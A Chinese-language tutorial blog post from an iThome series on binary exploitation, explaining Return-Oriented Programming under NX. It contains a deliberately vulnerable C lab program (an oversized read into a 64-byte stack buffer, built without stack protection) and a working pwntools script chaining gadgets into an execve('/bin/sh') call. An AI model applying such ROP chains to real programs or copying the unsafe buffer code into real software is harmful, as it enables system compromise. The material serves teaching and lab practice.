iT邦幫忙

2025 iThome 鐵人賽

DAY 6
0
Security

現在是pwn的天下!系列 第 6

【Day-6】ROP (Return-Oriented Programming)

  • 分享至 

  • xImage
  •  

前言

上次提到的return to shellcode是沒有後門可以開shellcode要自己寫shellcode,但是今天要探討要如何在有NX的情況下也可以開shell,所以今天就是要來講ROP,透過片段的gadget組成一個payload進而開shell

ROP gadgets

  • 一個片段可以執行的code (ex. pop rdi; ret)
  • 結尾通常都為 ret 的instruction
  • 安裝ROPgadget
    • python3 -m pip install ROPgadget
    • ROPgadget --binary ./binary

NX (No execute)

  • 阻止像shellcode這種直接放在stack/heap裡的程式碼被執行
  • 權限: rw- (read, write, execte(沒有權限))

ROP

ROP是一個進階的return to shellcode,他是在有開NX的情況下我們可以進行一連串的ROP chain,透過buffer overflow,進而開shell

  • 沒有可讀可寫可執行,只有可讀可寫不可執行可讀不可寫可執行
  • gedget通常為ret結尾,原因是我們執行完第一個gadget我們需要有ret我們才能跳到下一個gadget繼續執行code,這樣才可以持續的control flow

Static Linking & Dynamic Linking

編譯方式差別:
static: gcc rop.c -o rop -static
dynamic: gcc rop.c -o rop
如果不用-static,我們一般的編譯模式通常都為dynamic linking

差在哪?

Staitc linking

這個是staitc linking的,我們可以發現:
https://ithelp.ithome.com.tw/upload/images/20250810/20172088X2UrzM4cTP.png

  • 執行檔很大(因為包含所有函式碼)
  • 執行時不需要外部共享庫
  • 可以在沒有特定libc的環境中跑
  • file的狀態可以發現statically linked
    https://ithelp.ithome.com.tw/upload/images/20250810/20172088yLkjD8NlSW.png
  • 最重要的是好找gadget
    https://ithelp.ithome.com.tw/upload/images/20250810/2017208811dLRhSFZ9.png

Dynamic linking

這個是dynamic linking的,我們可以發現:
https://ithelp.ithome.com.tw/upload/images/20250810/201720880EjkVOFWld.png

  • 執行檔小(因為不包含共享庫本體)
  • 需要依賴目標機的共享庫
  • 可節省記憶體(多個程式可共用同一份庫)
  • file的狀態可以發現dynamically linked
    https://ithelp.ithome.com.tw/upload/images/20250810/20172088U96r06IlRU.png
  • gadget數很少,不好找gadget
    https://ithelp.ithome.com.tw/upload/images/20250810/20172088HSYeFtiiDd.png

怎麼拿到shell?

我們需要使用execve這個syscall去開shell,其中我們需要把對應的register設為我們需要以及syscall要的
所以我們的目標是:

  • rax設為0x3b
  • rdi為要放入的filename,我們則是放入/bin/sh
  • rsi與rdx我們可以直接設為0
  • 呼叫syscall開shell

https://ithelp.ithome.com.tw/upload/images/20250810/20172088GzrKFbbUkF.png

常用的gadgets

我們在打rop的時候我們最常用到的gedget feature通常為:

  • pop <reg> ; ret
  • mov qword ptr [reg], reg ; ret
  • syscall

lab

rop.c:

#include <stdio.h>
#include <unistd.h>

int main() {
    char buf[64];

    puts("give me your buffer:");
    read(0, buf, 256); // 不是只有gets才可以buffer overflow,只要給予的值超過自身長度也會發生
}

makefile:

rop: rop.c
        gcc rop.c -o rop -static -fno-stack-protector -no-pie

我們第一步需要找可寫的區域,我是使用gdb去vmmap找可寫的區域,我們可以看到0x4a4000是.data段,可讀可寫的已初始化資料段,所以我可以去查看memory裡面有沒有乾淨可寫的地方
https://ithelp.ithome.com.tw/upload/images/20250810/201720883r731NnR2Z.png
這裡可以發現0x4a40b0正符合我們的意願,所以我就把0x4a40b0拿來利用
https://ithelp.ithome.com.tw/upload/images/20250810/20172088XrjjMrNEN0.png
最後透過ROPgadget去取得我們需要的gadgets就可以組成下面的payload
b'a' * 72, pop_rsi, bss, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rdi, bss, pop_rsi, 0, pop_rax_pop_rdx_pop_rbx, 0x3b, 0, 0, syscall
達到

rax = 59   ; execve syscall number
rdi = 指向 "/bin/sh" 的指標
rsi = 0    ; argv = NULL
rdx = 0    ; envp = NULL

最後我們就可以寫出腳本
exp.py:

┌──(venv)─(kali㉿kali)-[/tmp/roplab]
└─$ cat exp.py
from pwn import *

context.arch = 'amd64'

r = process('./rop')

bss = 0x4a40b0
pop_rax = 0x0000000000417dd2
pop_rdi = 0x0000000000402031
pop_rsi = 0x0000000000404cc2
pop_rax_pop_rdx_pop_rbx = 0x00000000004568b6
mov_rsi_rax = 0x00000000004196a1
syscall = 0x000000000040122f

rop = flat(b'a' * 72, pop_rsi, bss, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rdi, bss, pop_rsi, 0, pop_rax_pop_rdx_pop_rbx, 0x3b, 0, 0, syscall)

r.sendlineafter(b':', rop)

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250810/20172088UCTrwbULKP.png


上一篇
【Day-5】return to shellcode
下一篇
【Day-7】2025 CDX決賽心得
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言